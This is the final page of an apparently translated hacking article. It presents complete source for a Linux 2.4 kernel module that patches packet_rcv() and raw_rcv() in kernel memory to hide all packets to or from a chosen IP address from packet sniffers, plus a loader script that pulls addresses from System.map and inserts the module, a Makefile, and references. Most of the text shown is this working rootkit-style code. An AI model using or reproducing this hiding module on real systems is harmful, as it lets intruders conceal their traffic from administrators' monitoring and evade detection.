bsp; /* Flags for spinlock */ int retval;
/* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */ /* Call original */ HIJACK_LOCK; memcpy((char *)pr, pr_orig, CODESIZE); retval = pr(skb, dev, pt); memcpy((char *)pr, pr_code, CODESIZE); HIJACK_UNLOCK;
return retval; }
/* Replacement for raw_rcv(). This is currently setup to hide * all packets with a source or destination IP address that we * specify. */ int hacked_rr(struct sock *sock, struct sk_buff *skb) { int sl_flags; /* Flags for spinlock */ int retval;
/* Check if this is an IP packet going to or coming from our * hidden IP address. */ if (skb->protocol == htons(ETH_P_IP)) /* IP packet */ if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP) return 0; /* Ignore this packet */ /* Call original */ HIJACK_LOCK; memcpy((char *)rr, rr_orig, CODESIZE); retval = rr(sock, skb); memcpy((char *)rr, rr_code, CODESIZE); HIJACK_UNLOCK;
return retval; }
int init_module() { int sl_flags; /* Flags for spinlock */ /* pr & rr set as module parameters. If zero or < PAGE_OFFSET * (which we treat as the lower bound of kernel memory), then * we will not install the hacks. */ if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) { printk("Address for packet_rcv() not valid! (%08x)\n", (int)pr); return -1; } if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) { printk("Address for raw_rcv() not valid! (%08x)\n", (int)rr); return -1; } *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr; *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr; HIJACK_LOCK; memcpy(pr_orig, (char *)pr, CODESIZE); memcpy((char *)pr, pr_code, CODESIZE); memcpy(rr_orig, (char *)rr, CODESIZE); memcpy((char *)rr, rr_code, CODESIZE); HIJACK_UNLOCK; EXPORT_NO_SYMBOLS; return 0; }
void cleanup_module() { int sl_flags; lock_kernel(); HIJACK_LOCK; memcpy((char *)pr, pr_orig, CODESIZE); memcpy((char *)rr, rr_orig, CODESIZE); HIJACK_UNLOCK; unlock_kernel(); } <-->
<++> pcaphide/loader.sh #!/bin/sh # Written by grem, 30th June 2003 # Hacked by bioforge, 30th June 2003
if [ "$1" = "" ]; then echo "Use: $0 <System.map>"; exit; fi
MAP="$1" PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16` RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`
if [ "$PR" = "" ]; then PR="00000000" fi if [ "$RR" = "" ]; then RR="00000000" fi
echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
# Now do the actual call to insmod insmod pcap_block.o pr=0x$PR rr=0x$RR <-->
<++> pcaphide/Makefile CC= gcc CFLAGS= -Wall -O2 -fomit-frame-pointer INCLUDES= -I/usr/src/linux/include OBJS= pcap_block.o
.c.o: $(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)
all: $(OBJS)
clean: rm -rf *.o rm -rf ./*~ <-->
------[ 参考文献
该附录包含写本文过程中用到的参考文献的列表。
[1] The tcpdump group http://www.tcpdump.org [2] The Packet Factory http://www.packetfactory.net [3] My network tools page - http://uqconnect.net/~zzoklan/software/#net_tools [4] Silvio Cesare''''s Kernel Function Hijacking article http://vx.netlux.org/lib/vsc08.html [5] Man pages for: - raw (7) - packet (7) - tcpdump (1) [6] Linux kernel source files. In particular: - net/packet/af_packet.c (for packet_rcv()) - net/ipv4/raw.c (for raw_rcv()) - net/core/dev.c - net/ipv4/netfilter/* [7] Harald Welte''''s Journey of a packet through the Linux 2.4 network stack http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html [8] The Netfilter documentation page http://www.netfilter.org/documentation [9] Phrack 55 - File 12 - http://www.phrack.org/show.php?p=55&a=12 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al. [B] Inside the Linux Packet Filter. A Linux Journal article http://www.linuxjournal.com/article.php?sid=4852
全文完
上一页 [1] [2] [3] [4] |